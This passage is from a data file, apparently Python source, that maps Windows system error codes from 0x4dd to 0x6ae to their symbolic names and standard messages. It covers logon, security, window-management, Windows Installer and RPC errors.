0x000004dd: ("ERROR_NOT_LOGGED_ON", "The operation being requested was not performed because the user has not logged on to the network. The specified service does not exist."),
0x000004de: ("ERROR_CONTINUE", "Continue with work in progress."),
0x000004df: ("ERROR_ALREADY_INITIALIZED", "An attempt was made to perform an initialization operation when initialization has already been completed."),
0x000004e0: ("ERROR_NO_MORE_DEVICES", "No more local devices."),
0x000004e1: ("ERROR_NO_SUCH_SITE", "The specified site does not exist."),
0x000004e2: ("ERROR_DOMAIN_CONTROLLER_EXISTS", "A domain controller with the specified name already exists."),
0x000004e3: ("ERROR_ONLY_IF_CONNECTED", "This operation is supported only when you are connected to the server."),
0x000004e4: ("ERROR_OVERRIDE_NOCHANGES", "The group policy framework should call the extension even if there are no changes."),
0x000004e5: ("ERROR_BAD_USER_PROFILE", "The specified user does not have a valid profile."),
0x000004e6: ("ERROR_NOT_SUPPORTED_ON_SBS", "This operation is not supported on a computer running Windows Server 2003 for Small Business Server"),
0x000004e7: ("ERROR_SERVER_SHUTDOWN_IN_PROGRESS", "The server machine is shutting down."),
0x000004e8: ("ERROR_HOST_DOWN", "The remote system is not available. For information about network troubleshooting, see Windows Help."),
0x000004e9: ("ERROR_NON_ACCOUNT_SID", "The security identifier provided is not from an account domain."),
0x000004ea: ("ERROR_NON_DOMAIN_SID", "The security identifier provided does not have a domain component."),
0x000004eb: ("ERROR_APPHELP_BLOCK", "AppHelp dialog canceled thus preventing the application from starting."),
0x000004ec: ("ERROR_ACCESS_DISABLED_BY_POLICY", "This program is blocked by group policy. For more information, contact your system administrator."),
0x000004ed: ("ERROR_REG_NAT_CONSUMPTION", "A program attempt to use an invalid register value. Normally caused by an uninitialized register. This error is Itanium specific."),
0x000004ee: ("ERROR_CSCSHARE_OFFLINE", "The share is currently offline or does not exist."),
0x000004ef: ("ERROR_PKINIT_FAILURE", "The Kerberos protocol encountered an error while validating the KDC certificate during smartcard logon. There is more information in the system event log."),
0x000004f0: ("ERROR_SMARTCARD_SUBSYSTEM_FAILURE", "The Kerberos protocol encountered an error while attempting to utilize the smartcard subsystem."),
0x000004f1: ("ERROR_DOWNGRADE_DETECTED", "The system cannot contact a domain controller to service the authentication request. Please try again later."),
0x000004f7: ("ERROR_MACHINE_LOCKED", "The machine is locked and cannot be shut down without the force option."),
0x000004f9: ("ERROR_CALLBACK_SUPPLIED_INVALID_DATA", "An application-defined callback gave invalid data when called."),
0x000004fa: ("ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED", "The group policy framework should call the extension in the synchronous foreground policy refresh."),
0x000004fb: ("ERROR_DRIVER_BLOCKED", "This driver has been blocked from loading"),
0x000004fc: ("ERROR_INVALID_IMPORT_OF_NON_DLL", "A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image."),
0x000004fd: ("ERROR_ACCESS_DISABLED_WEBBLADE", "Windows cannot open this program since it has been disabled."),
0x000004fe: ("ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER", "Windows cannot open this program because the license enforcement system has been tampered with or become corrupted."),
0x000004ff: ("ERROR_RECOVERY_FAILURE", "A transaction recover failed."),
0x00000500: ("ERROR_ALREADY_FIBER", "The current thread has already been converted to a fiber."),
0x00000501: ("ERROR_ALREADY_THREAD", "The current thread has already been converted from a fiber."),
0x00000502: ("ERROR_STACK_BUFFER_OVERRUN", "The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application."),
0x00000503: ("ERROR_PARAMETER_QUOTA_EXCEEDED", "Data present in one of the parameters is more than the function can operate on."),
0x00000504: ("ERROR_DEBUGGER_INACTIVE", "An attempt to do an operation on a debug object failed because the object is in the process of being deleted."),
0x00000505: ("ERROR_DELAY_LOAD_FAILED", "An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed."),
0x00000506: ("ERROR_VDM_DISALLOWED", "%1 is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator."),
0x00000507: ("ERROR_UNIDENTIFIED_ERROR", "Insufficient information exists to identify the cause of failure."),
0x00000508: ("ERROR_INVALID_CRUNTIME_PARAMETER", "The parameter passed to a C runtime function is incorrect."),
0x00000509: ("ERROR_BEYOND_VDL", "The operation occurred beyond the valid data length of the file."),
0x0000050a: ("ERROR_INCOMPATIBLE_SERVICE_SID_TYPE", "The service start failed since one or more services in the same process have an incompatible service SID type setting. A service with restricted service SID type can only coexist in the same process with other services with a restricted SID type. If the service SID type for this service was just configured, the hosting process must be restarted in order to start this service."),
0x0000050b: ("ERROR_DRIVER_PROCESS_TERMINATED", "The process hosting the driver for this device has been terminated."),
0x0000050c: ("ERROR_IMPLEMENTATION_LIMIT", "An operation attempted to exceed an implementation-defined limit."),
0x0000050d: ("ERROR_PROCESS_IS_PROTECTED", "Either the target process, or the target thread's containing process, is a protected process."),
0x0000050e: ("ERROR_SERVICE_NOTIFY_CLIENT_LAGGING", "The service notification client is lagging too far behind the current state of services in the machine."),
0x0000050f: ("ERROR_DISK_QUOTA_EXCEEDED", "The requested file operation failed because the storage quota was exceeded."),
0x00000510: ("ERROR_CONTENT_BLOCKED", "The requested file operation failed because the storage policy blocks that type of file. For more information, contact your system administrator."),
0x00000511: ("ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE", "A privilege that the service requires to function properly does not exist in the service account configuration."),
0x00000512: ("ERROR_APP_HANG", "A thread involved in this operation appears to be unresponsive."),
0x00000513: ("ERROR_INVALID_LABEL", "Indicates a particular Security ID may not be assigned as the label of an object."),
0x00000514: ("ERROR_NOT_ALL_ASSIGNED", "Not all privileges or groups referenced are assigned to the caller."),
0x00000515: ("ERROR_SOME_NOT_MAPPED", "Some mapping between account names and security IDs was not done."),
0x00000516: ("ERROR_NO_QUOTAS_FOR_ACCOUNT", "No system quota limits are specifically set for this account."),
0x00000517: ("ERROR_LOCAL_USER_SESSION_KEY", "No encryption key is available. A well-known encryption key was returned."),
0x00000518: ("ERROR_NULL_LM_PASSWORD", "The password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string."),
0x00000519: ("ERROR_UNKNOWN_REVISION", "The revision level is unknown."),
0x0000051a: ("ERROR_REVISION_MISMATCH", "Indicates two revision levels are incompatible."),
0x0000051b: ("ERROR_INVALID_OWNER", "This security ID may not be assigned as the owner of this object."),
0x0000051c: ("ERROR_INVALID_PRIMARY_GROUP", "This security ID may not be assigned as the primary group of an object."),
0x0000051d: ("ERROR_NO_IMPERSONATION_TOKEN", "An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client."),
0x0000051e: ("ERROR_CANT_DISABLE_MANDATORY", "The group may not be disabled."),
0x0000051f: ("ERROR_NO_LOGON_SERVERS", "There are currently no logon servers available to service the logon request."),
0x00000520: ("ERROR_NO_SUCH_LOGON_SESSION", "A specified logon session does not exist. It may already have been terminated."),
0x00000521: ("ERROR_NO_SUCH_PRIVILEGE", "A specified privilege does not exist."),
0x00000522: ("ERROR_PRIVILEGE_NOT_HELD", "A required privilege is not held by the client."),
0x00000523: ("ERROR_INVALID_ACCOUNT_NAME", "The name provided is not a properly formed account name."),
0x00000524: ("ERROR_USER_EXISTS", "The specified account already exists."),
0x00000525: ("ERROR_NO_SUCH_USER", "The specified account does not exist."),
0x00000526: ("ERROR_GROUP_EXISTS", "The specified group already exists."),
0x00000527: ("ERROR_NO_SUCH_GROUP", "The specified group does not exist."),
0x00000528: ("ERROR_MEMBER_IN_GROUP", "Either the specified user account is already a member of the specified group, or the specified group cannot be deleted because it contains a member."),
0x00000529: ("ERROR_MEMBER_NOT_IN_GROUP", "The specified user account is not a member of the specified group account."),
0x0000052a: ("ERROR_LAST_ADMIN", "This operation is disallowed as it could result in an administration account being disabled, deleted or unable to logon."),
0x0000052b: ("ERROR_WRONG_PASSWORD", "Unable to update the password. The value provided as the current password is incorrect."),
0x0000052c: ("ERROR_ILL_FORMED_PASSWORD", "Unable to update the password. The value provided for the new password contains values that are not allowed in passwords."),
0x0000052d: ("ERROR_PASSWORD_RESTRICTION", "Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."),
0x0000052e: ("ERROR_LOGON_FAILURE", "The user name or password is incorrect."),
0x0000052f: ("ERROR_ACCOUNT_RESTRICTION", "Account restrictions are preventing this user from signing in. For example: blank passwords aren't allowed, sign-in times are limited, or a policy restriction has been enforced."),
0x00000530: ("ERROR_INVALID_LOGON_HOURS", "Your account has time restrictions that keep you from signing in right now."),
0x00000531: ("ERROR_INVALID_WORKSTATION", "This user isn't allowed to sign in to this computer."),
0x00000532: ("ERROR_PASSWORD_EXPIRED", "The password for this account has expired."),
0x00000533: ("ERROR_ACCOUNT_DISABLED", "This user can't sign in because this account is currently disabled."),
0x00000534: ("ERROR_NONE_MAPPED", "No mapping between account names and security IDs was done."),
0x00000535: ("ERROR_TOO_MANY_LUIDS_REQUESTED", "Too many local user identifiers (LUIDs) were requested at one time."),
0x00000536: ("ERROR_LUIDS_EXHAUSTED", "No more local user identifiers (LUIDs) are available."),
0x00000537: ("ERROR_INVALID_SUB_AUTHORITY", "The subauthority part of a security ID is invalid for this particular use."),
0x00000538: ("ERROR_INVALID_ACL", "The access control list (ACL) structure is invalid."),
0x00000539: ("ERROR_INVALID_SID", "The security ID structure is invalid."),
0x0000053a: ("ERROR_INVALID_SECURITY_DESCR", "The security descriptor structure is invalid."),
0x0000053c: ("ERROR_BAD_INHERITANCE_ACL", "The inherited access control list (ACL) or access control entry (ACE) could not be built."),
0x0000053d: ("ERROR_SERVER_DISABLED", "The server is currently disabled."),
0x0000053e: ("ERROR_SERVER_NOT_DISABLED", "The server is currently enabled."),
0x0000053f: ("ERROR_INVALID_ID_AUTHORITY", "The value provided was an invalid value for an identifier authority."),
0x00000540: ("ERROR_ALLOTTED_SPACE_EXCEEDED", "No more memory is available for security information updates."),
0x00000541: ("ERROR_INVALID_GROUP_ATTRIBUTES", "The specified attributes are invalid, or incompatible with the attributes for the group as a whole."),
0x00000542: ("ERROR_BAD_IMPERSONATION_LEVEL", "Either a required impersonation level was not provided, or the provided impersonation level is invalid."),
0x00000543: ("ERROR_CANT_OPEN_ANONYMOUS", "Cannot open an anonymous level security token."),
0x00000544: ("ERROR_BAD_VALIDATION_CLASS", "The validation information class requested was invalid."),
0x00000545: ("ERROR_BAD_TOKEN_TYPE", "The type of the token is inappropriate for its attempted use."),
0x00000546: ("ERROR_NO_SECURITY_ON_OBJECT", "Unable to perform a security operation on an object that has no associated security."),
0x00000547: ("ERROR_CANT_ACCESS_DOMAIN_INFO", "Configuration information could not be read from the domain controller, either because the machine is unavailable, or access has been denied."),
0x00000548: ("ERROR_INVALID_SERVER_STATE", "The security account manager (SAM) or local security authority (LSA) server was in the wrong state to perform the security operation."),
0x00000549: ("ERROR_INVALID_DOMAIN_STATE", "The domain was in the wrong state to perform the security operation."),
0x0000054a: ("ERROR_INVALID_DOMAIN_ROLE", "This operation is only allowed for the Primary Domain Controller of the domain."),
0x0000054b: ("ERROR_NO_SUCH_DOMAIN", "The specified domain either does not exist or could not be contacted."),
0x0000054c: ("ERROR_DOMAIN_EXISTS", "The specified domain already exists."),
0x0000054d: ("ERROR_DOMAIN_LIMIT_EXCEEDED", "An attempt was made to exceed the limit on the number of domains per server."),
0x0000054e: ("ERROR_INTERNAL_DB_CORRUPTION", "Unable to complete the requested operation because of either a catastrophic media failure or a data structure corruption on the disk."),
0x0000054f: ("ERROR_INTERNAL_ERROR", "An internal error occurred."),
0x00000550: ("ERROR_GENERIC_NOT_MAPPED", "Generic access types were contained in an access mask which should already be mapped to nongeneric types."),
0x00000551: ("ERROR_BAD_DESCRIPTOR_FORMAT", "A security descriptor is not in the right format (absolute or self-relative)."),
0x00000552: ("ERROR_NOT_LOGON_PROCESS", "The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process."),
0x00000553: ("ERROR_LOGON_SESSION_EXISTS", "Cannot start a new logon session with an ID that is already in use."),
0x00000554: ("ERROR_NO_SUCH_PACKAGE", "A specified authentication package is unknown."),
0x00000555: ("ERROR_BAD_LOGON_SESSION_STATE", "The logon session is not in a state that is consistent with the requested operation."),
0x00000556: ("ERROR_LOGON_SESSION_COLLISION", "The logon session ID is already in use."),
0x00000557: ("ERROR_INVALID_LOGON_TYPE", "A logon request contained an invalid logon type value."),
0x00000558: ("ERROR_CANNOT_IMPERSONATE", "Unable to impersonate using a named pipe until data has been read from that pipe."),
0x00000559: ("ERROR_RXACT_INVALID_STATE", "The transaction state of a registry subtree is incompatible with the requested operation."),
0x0000055a: ("ERROR_RXACT_COMMIT_FAILURE", "An internal security database corruption has been encountered."),
0x0000055b: ("ERROR_SPECIAL_ACCOUNT", "Cannot perform this operation on built-in accounts."),
0x0000055c: ("ERROR_SPECIAL_GROUP", "Cannot perform this operation on this built-in special group."),
0x0000055d: ("ERROR_SPECIAL_USER", "Cannot perform this operation on this built-in special user."),
0x0000055e: ("ERROR_MEMBERS_PRIMARY_GROUP", "The user cannot be removed from a group because the group is currently the user's primary group."),
0x0000055f: ("ERROR_TOKEN_ALREADY_IN_USE", "The token is already in use as a primary token."),
0x00000560: ("ERROR_NO_SUCH_ALIAS", "The specified local group does not exist."),
0x00000561: ("ERROR_MEMBER_NOT_IN_ALIAS", "The specified account name is not a member of the group."),
0x00000562: ("ERROR_MEMBER_IN_ALIAS", "The specified account name is already a member of the group."),
0x00000563: ("ERROR_ALIAS_EXISTS", "The specified local group already exists."),
0x00000564: ("ERROR_LOGON_NOT_GRANTED", "Logon failure: the user has not been granted the requested logon type at this computer."),
0x00000565: ("ERROR_TOO_MANY_SECRETS", "The maximum number of secrets that may be stored in a single system has been exceeded."),
0x00000566: ("ERROR_SECRET_TOO_LONG", "The length of a secret exceeds the maximum length allowed."),
0x00000567: ("ERROR_INTERNAL_DB_ERROR", "The local security authority database contains an internal inconsistency."),
0x00000568: ("ERROR_TOO_MANY_CONTEXT_IDS", "During a logon attempt, the user's security context accumulated too many security IDs."),
0x00000569: ("ERROR_LOGON_TYPE_NOT_GRANTED", "Logon failure: the user has not been granted the requested logon type at this computer."),
0x0000056a: ("ERROR_NT_CROSS_ENCRYPTION_REQUIRED", "A cross-encrypted password is necessary to change a user password."),
0x0000056b: ("ERROR_NO_SUCH_MEMBER", "A member could not be added to or removed from the local group because the member does not exist."),
0x0000056c: ("ERROR_INVALID_MEMBER", "A new member could not be added to a local group because the member has the wrong account type."),
0x0000056d: ("ERROR_TOO_MANY_SIDS", "Too many security IDs have been specified."),
0x0000056e: ("ERROR_LM_CROSS_ENCRYPTION_REQUIRED", "A cross-encrypted password is necessary to change this user password."),
0x0000056f: ("ERROR_NO_INHERITANCE", "Indicates an ACL contains no inheritable components."),
0x00000570: ("ERROR_FILE_CORRUPT", "The file or directory is corrupted and unreadable."),
0x00000571: ("ERROR_DISK_CORRUPT", "The disk structure is corrupted and unreadable."),
0x00000572: ("ERROR_NO_USER_SESSION_KEY", "There is no user session key for the specified logon session."),
0x00000573: ("ERROR_LICENSE_QUOTA_EXCEEDED", "The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because there are already as many connections as the service can accept."),
0x00000574: ("ERROR_WRONG_TARGET_NAME", "The target account name is incorrect."),
0x00000575: ("ERROR_MUTUAL_AUTH_FAILED", "Mutual Authentication failed. The server's password is out of date at the domain controller."),
0x00000576: ("ERROR_TIME_SKEW", "There is a time and/or date difference between the client and server."),
0x00000577: ("ERROR_CURRENT_DOMAIN_NOT_ALLOWED", "This operation cannot be performed on the current domain."),
0x00000578: ("ERROR_INVALID_WINDOW_HANDLE", "Invalid window handle."),
0x00000579: ("ERROR_INVALID_MENU_HANDLE", "Invalid menu handle."),
0x0000057a: ("ERROR_INVALID_CURSOR_HANDLE", "Invalid cursor handle."),
0x0000057b: ("ERROR_INVALID_ACCEL_HANDLE", "Invalid accelerator table handle."),
0x0000057c: ("ERROR_INVALID_HOOK_HANDLE", "Invalid hook handle."),
0x0000057d: ("ERROR_INVALID_DWP_HANDLE", "Invalid handle to a multiple-window position structure."),
0x0000057e: ("ERROR_TLW_WITH_WSCHILD", "Cannot create a top-level child window."),
0x0000057f: ("ERROR_CANNOT_FIND_WND_CLASS", "Cannot find window class."),
0x00000580: ("ERROR_WINDOW_OF_OTHER_THREAD", "Invalid window; it belongs to other thread."),
0x00000581: ("ERROR_HOTKEY_ALREADY_REGISTERED", "Hot key is already registered."),
0x00000582: ("ERROR_CLASS_ALREADY_EXISTS", "Class already exists."),
0x00000583: ("ERROR_CLASS_DOES_NOT_EXIST", "Class does not exist."),
0x00000584: ("ERROR_CLASS_HAS_WINDOWS", "Class still has open windows."),
0x00000585: ("ERROR_INVALID_INDEX", "Invalid index."),
0x00000586: ("ERROR_INVALID_ICON_HANDLE", "Invalid icon handle."),
0x00000587: ("ERROR_PRIVATE_DIALOG_INDEX", "Using private DIALOG window words."),
0x00000588: ("ERROR_LISTBOX_ID_NOT_FOUND", "The list box identifier was not found."),
0x00000589: ("ERROR_NO_WILDCARD_CHARACTERS", "No wildcards were found."),
0x0000058a: ("ERROR_CLIPBOARD_NOT_OPEN", "Thread does not have a clipboard open."),
0x0000058b: ("ERROR_HOTKEY_NOT_REGISTERED", "Hot key is not registered."),
0x0000058c: ("ERROR_WINDOW_NOT_DIALOG", "The window is not a valid dialog window."),
0x0000058d: ("ERROR_CONTROL_ID_NOT_FOUND", "Control ID not found."),
0x0000058e: ("ERROR_INVALID_COMBOBOX_MESSAGE", "Invalid message for a combo box because it does not have an edit control."),
0x0000058f: ("ERROR_WINDOW_NOT_COMBOBOX", "The window is not a combo box."),
0x00000590: ("ERROR_INVALID_EDIT_HEIGHT", "Height must be less than 256."),
0x00000591: ("ERROR_DC_NOT_FOUND", "Invalid device context (DC) handle."),
0x00000592: ("ERROR_INVALID_HOOK_FILTER", "Invalid hook procedure type."),
0x00000593: ("ERROR_INVALID_FILTER_PROC", "Invalid hook procedure."),
0x00000594: ("ERROR_HOOK_NEEDS_HMOD", "Cannot set nonlocal hook without a module handle."),
0x00000595: ("ERROR_GLOBAL_ONLY_HOOK", "This hook procedure can only be set globally."),
0x00000596: ("ERROR_JOURNAL_HOOK_SET", "The journal hook procedure is already installed."),
0x00000597: ("ERROR_HOOK_NOT_INSTALLED", "The hook procedure is not installed."),
0x00000598: ("ERROR_INVALID_LB_MESSAGE", "Invalid message for single-selection list box."),
0x00000599: ("ERROR_SETCOUNT_ON_BAD_LB", "LB_SETCOUNT sent to non-lazy list box."),
0x0000059a: ("ERROR_LB_WITHOUT_TABSTOPS", "This list box does not support tab stops."),
0x0000059b: ("ERROR_DESTROY_OBJECT_OF_OTHER_THREAD", "Cannot destroy object created by another thread."),
0x0000059c: ("ERROR_CHILD_WINDOW_MENU", "Child windows cannot have menus."),
0x0000059d: ("ERROR_NO_SYSTEM_MENU", "The window does not have a system menu."),
0x0000059e: ("ERROR_INVALID_MSGBOX_STYLE", "Invalid message box style."),
0x0000059f: ("ERROR_INVALID_SPI_VALUE", "Invalid system-wide (SPI_*) parameter."),
0x000005a0: ("ERROR_SCREEN_ALREADY_LOCKED", "Screen already locked."),
0x000005a1: ("ERROR_HWNDS_HAVE_DIFF_PARENT", "All handles to windows in a multiple-window position structure must have the same parent."),
0x000005a2: ("ERROR_NOT_CHILD_WINDOW", "The window is not a child window."),
0x000005a3: ("ERROR_INVALID_GW_COMMAND", "Invalid GW_* command."),
0x000005a4: ("ERROR_INVALID_THREAD_ID", "Invalid thread identifier."),
0x000005a5: ("ERROR_NON_MDICHILD_WINDOW", "Cannot process a message from a window that is not a multiple document interface (MDI) window."),
0x000005a6: ("ERROR_POPUP_ALREADY_ACTIVE", "Popup menu already active."),
0x000005a7: ("ERROR_NO_SCROLLBARS", "The window does not have scroll bars."),
0x000005a8: ("ERROR_INVALID_SCROLLBAR_RANGE", "Scroll bar range cannot be greater than MAXLONG."),
0x000005a9: ("ERROR_INVALID_SHOWWIN_COMMAND", "Cannot show or remove the window in the way specified."),
0x000005aa: ("ERROR_NO_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
0x000005ab: ("ERROR_NONPAGED_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
0x000005ac: ("ERROR_PAGED_SYSTEM_RESOURCES", "Insufficient system resources exist to complete the requested service."),
0x000005ad: ("ERROR_WORKING_SET_QUOTA", "Insufficient quota to complete the requested service."),
0x000005ae: ("ERROR_PAGEFILE_QUOTA", "Insufficient quota to complete the requested service."),
0x000005af: ("ERROR_COMMITMENT_LIMIT", "The paging file is too small for this operation to complete."),
0x000005b0: ("ERROR_MENU_ITEM_NOT_FOUND", "A menu item was not found."),
0x000005b1: ("ERROR_INVALID_KEYBOARD_HANDLE", "Invalid keyboard layout handle."),
0x000005b2: ("ERROR_HOOK_TYPE_NOT_ALLOWED", "Hook type not allowed."),
0x000005b3: ("ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION", "This operation requires an interactive window station."),
0x000005b4: ("ERROR_TIMEOUT", "This operation returned because the timeout period expired."),
0x000005b5: ("ERROR_INVALID_MONITOR_HANDLE", "Invalid monitor handle."),
0x000005b6: ("ERROR_INCORRECT_SIZE", "Incorrect size argument."),
0x000005b7: ("ERROR_SYMLINK_CLASS_DISABLED", "The symbolic link cannot be followed because its type is disabled."),
0x000005b8: ("ERROR_SYMLINK_NOT_SUPPORTED", "This application does not support the current operation on symbolic links."),
0x000005b9: ("ERROR_XML_PARSE_ERROR", "Windows was unable to parse the requested XML data."),
0x000005ba: ("ERROR_XMLDSIG_ERROR", "An error was encountered while processing an XML digital signature."),
0x000005bb: ("ERROR_RESTART_APPLICATION", "This application must be restarted."),
0x000005bc: ("ERROR_WRONG_COMPARTMENT", "The caller made the connection request in the wrong routing compartment."),
0x000005bd: ("ERROR_AUTHIP_FAILURE", "There was an AuthIP failure when attempting to connect to the remote host."),
0x000005be: ("ERROR_NO_NVRAM_RESOURCES", "Insufficient NVRAM resources exist to complete the requested service. A reboot might be required."),
0x000005bf: ("ERROR_NOT_GUI_PROCESS", "Unable to finish the requested operation because the specified process is not a GUI process."),
0x000005dc: ("ERROR_EVENTLOG_FILE_CORRUPT", "The event log file is corrupted."),
0x000005dd: ("ERROR_EVENTLOG_CANT_START", "No event log file could be opened, so the event logging service did not start."),
0x000005de: ("ERROR_LOG_FILE_FULL", "The event log file is full."),
0x000005df: ("ERROR_EVENTLOG_FILE_CHANGED", "The event log file has changed between read operations."),
0x0000060e: ("ERROR_INVALID_TASK_NAME", "The specified task name is invalid."),
0x0000060f: ("ERROR_INVALID_TASK_INDEX", "The specified task index is invalid."),
0x00000610: ("ERROR_THREAD_ALREADY_IN_TASK", "The specified thread is already joining a task."),
0x00000641: ("ERROR_INSTALL_SERVICE_FAILURE", "The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance."),
0x00000642: ("ERROR_INSTALL_USEREXIT", "User cancelled installation."),
0x00000643: ("ERROR_INSTALL_FAILURE", "Fatal error during installation."),
0x00000644: ("ERROR_INSTALL_SUSPEND", "Installation suspended, incomplete."),
0x00000645: ("ERROR_UNKNOWN_PRODUCT", "This action is only valid for products that are currently installed."),
0x00000646: ("ERROR_UNKNOWN_FEATURE", "Feature ID not registered."),
0x00000647: ("ERROR_UNKNOWN_COMPONENT", "Component ID not registered."),
0x00000648: ("ERROR_UNKNOWN_PROPERTY", "Unknown property."),
0x00000649: ("ERROR_INVALID_HANDLE_STATE", "Handle is in an invalid state."),
0x0000064a: ("ERROR_BAD_CONFIGURATION", "The configuration data for this product is corrupt. Contact your support personnel."),
0x0000064b: ("ERROR_INDEX_ABSENT", "Component qualifier not present."),
0x0000064c: ("ERROR_INSTALL_SOURCE_ABSENT", "The installation source for this product is not available. Verify that the source exists and that you can access it."),
0x0000064d: ("ERROR_INSTALL_PACKAGE_VERSION", "This installation package cannot be installed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service."),
0x0000064e: ("ERROR_PRODUCT_UNINSTALLED", "Product is uninstalled."),
0x0000064f: ("ERROR_BAD_QUERY_SYNTAX", "SQL query syntax invalid or unsupported."),
0x00000650: ("ERROR_INVALID_FIELD", "Record field does not exist."),
0x00000651: ("ERROR_DEVICE_REMOVED", "The device has been removed."),
0x00000652: ("ERROR_INSTALL_ALREADY_RUNNING", "Another installation is already in progress. Complete that installation before proceeding with this install."),
0x00000653: ("ERROR_INSTALL_PACKAGE_OPEN_FAILED", "This installation package could not be opened. Verify that the package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer package."),
0x00000654: ("ERROR_INSTALL_PACKAGE_INVALID", "This installation package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer package."),
0x00000655: ("ERROR_INSTALL_UI_FAILURE", "There was an error starting the Windows Installer service user interface. Contact your support personnel."),
0x00000656: ("ERROR_INSTALL_LOG_FAILURE", "Error opening installation log file. Verify that the specified log file location exists and that you can write to it."),
0x00000657: ("ERROR_INSTALL_LANGUAGE_UNSUPPORTED", "The language of this installation package is not supported by your system."),
0x00000658: ("ERROR_INSTALL_TRANSFORM_FAILURE", "Error applying transforms. Verify that the specified transform paths are valid."),
0x00000659: ("ERROR_INSTALL_PACKAGE_REJECTED", "This installation is forbidden by system policy. Contact your system administrator."),
0x0000065a: ("ERROR_FUNCTION_NOT_CALLED", "Function could not be executed."),
0x0000065b: ("ERROR_FUNCTION_FAILED", "Function failed during execution."),
0x0000065c: ("ERROR_INVALID_TABLE", "Invalid or unknown table specified."),
0x0000065d: ("ERROR_DATATYPE_MISMATCH", "Data supplied is of wrong type."),
0x0000065e: ("ERROR_UNSUPPORTED_TYPE", "Data of this type is not supported."),
0x0000065f: ("ERROR_CREATE_FAILED", "The Windows Installer service failed to start. Contact your support personnel."),
0x00000660: ("ERROR_INSTALL_TEMP_UNWRITABLE", "The Temp folder is on a drive that is full or is inaccessible. Free up space on the drive or verify that you have write permission on the Temp folder."),
0x00000661: ("ERROR_INSTALL_PLATFORM_UNSUPPORTED", "This installation package is not supported by this processor type. Contact your product vendor."),
0x00000662: ("ERROR_INSTALL_NOTUSED", "Component not used on this computer."),
0x00000663: ("ERROR_PATCH_PACKAGE_OPEN_FAILED", "This update package could not be opened. Verify that the update package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer update package."),
0x00000664: ("ERROR_PATCH_PACKAGE_INVALID", "This update package could not be opened. Contact the application vendor to verify that this is a valid Windows Installer update package."),
0x00000665: ("ERROR_PATCH_PACKAGE_UNSUPPORTED", "This update package cannot be processed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service."),
0x00000666: ("ERROR_PRODUCT_VERSION", "Another version of this product is already installed. Installation of this version cannot continue. To configure or remove the existing version of this product, use Add/Remove Programs on the Control Panel."),
0x00000667: ("ERROR_INVALID_COMMAND_LINE", "Invalid command line argument. Consult the Windows Installer SDK for detailed command line help."),
0x00000668: ("ERROR_INSTALL_REMOTE_DISALLOWED", "Only administrators have permission to add, remove, or configure server software during a Terminal services remote session. If you want to install or configure software on the server, contact your network administrator."),
0x00000669: ("ERROR_SUCCESS_REBOOT_INITIATED", "The requested operation completed successfully. The system will be restarted so the changes can take effect."),
0x0000066a: ("ERROR_PATCH_TARGET_NOT_FOUND", "The upgrade cannot be installed by the Windows Installer service because the program to be upgraded may be missing, or the upgrade may update a different version of the program. Verify that the program to be upgraded exists on your computer and that you have the correct upgrade."),
0x0000066b: ("ERROR_PATCH_PACKAGE_REJECTED", "The update package is not permitted by software restriction policy."),
0x0000066c: ("ERROR_INSTALL_TRANSFORM_REJECTED", "One or more customizations are not permitted by software restriction policy."),
0x0000066d: ("ERROR_INSTALL_REMOTE_PROHIBITED", "The Windows Installer does not permit installation from a Remote Desktop Connection."),
0x0000066e: ("ERROR_PATCH_REMOVAL_UNSUPPORTED", "Uninstallation of the update package is not supported."),
0x0000066f: ("ERROR_UNKNOWN_PATCH", "The update is not applied to this product."),
0x00000670: ("ERROR_PATCH_NO_SEQUENCE", "No valid sequence could be found for the set of updates."),
0x00000671: ("ERROR_PATCH_REMOVAL_DISALLOWED", "Update removal was disallowed by policy."),
0x00000672: ("ERROR_INVALID_PATCH_XML", "The XML update data is invalid."),
0x00000673: ("ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT", "Windows Installer does not permit updating of managed advertised products. At least one feature of the product must be installed before applying the update."),
0x00000674: ("ERROR_INSTALL_SERVICE_SAFEBOOT", "The Windows Installer service is not accessible in Safe Mode. Please try again when your computer is not in Safe Mode or you can use System Restore to return your machine to a previous good state."),
0x00000675: ("ERROR_FAIL_FAST_EXCEPTION", "A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately."),
0x00000676: ("ERROR_INSTALL_REJECTED", "The app that you are trying to run is not supported on this version of Windows."),
0x000006a4: ("RPC_S_INVALID_STRING_BINDING", "The string binding is invalid."),
0x000006a5: ("RPC_S_WRONG_KIND_OF_BINDING", "The binding handle is not the correct type."),
0x000006a6: ("RPC_S_INVALID_BINDING", "The binding handle is invalid."),
0x000006a7: ("RPC_S_PROTSEQ_NOT_SUPPORTED", "The RPC protocol sequence is not supported."),
0x000006a8: ("RPC_S_INVALID_RPC_PROTSEQ", "The RPC protocol sequence is invalid."),
0x000006a9: ("RPC_S_INVALID_STRING_UUID", "The string universal unique identifier (UUID) is invalid."),
0x000006aa: ("RPC_S_INVALID_ENDPOINT_FORMAT", "The endpoint format is invalid."),
0x000006ab: ("RPC_S_INVALID_NET_ADDR", "The network address is invalid."),
0x000006ac: ("RPC_S_NO_ENDPOINT_FOUND", "No endpoint was found."),
0x000006ad: ("RPC_S_INVALID_TIMEOUT", "The timeout value is invalid."),
0x000006ae: ("RPC_S_OBJECT_NOT_FOUND", "The object universal unique identifier (UUID) was not found."),
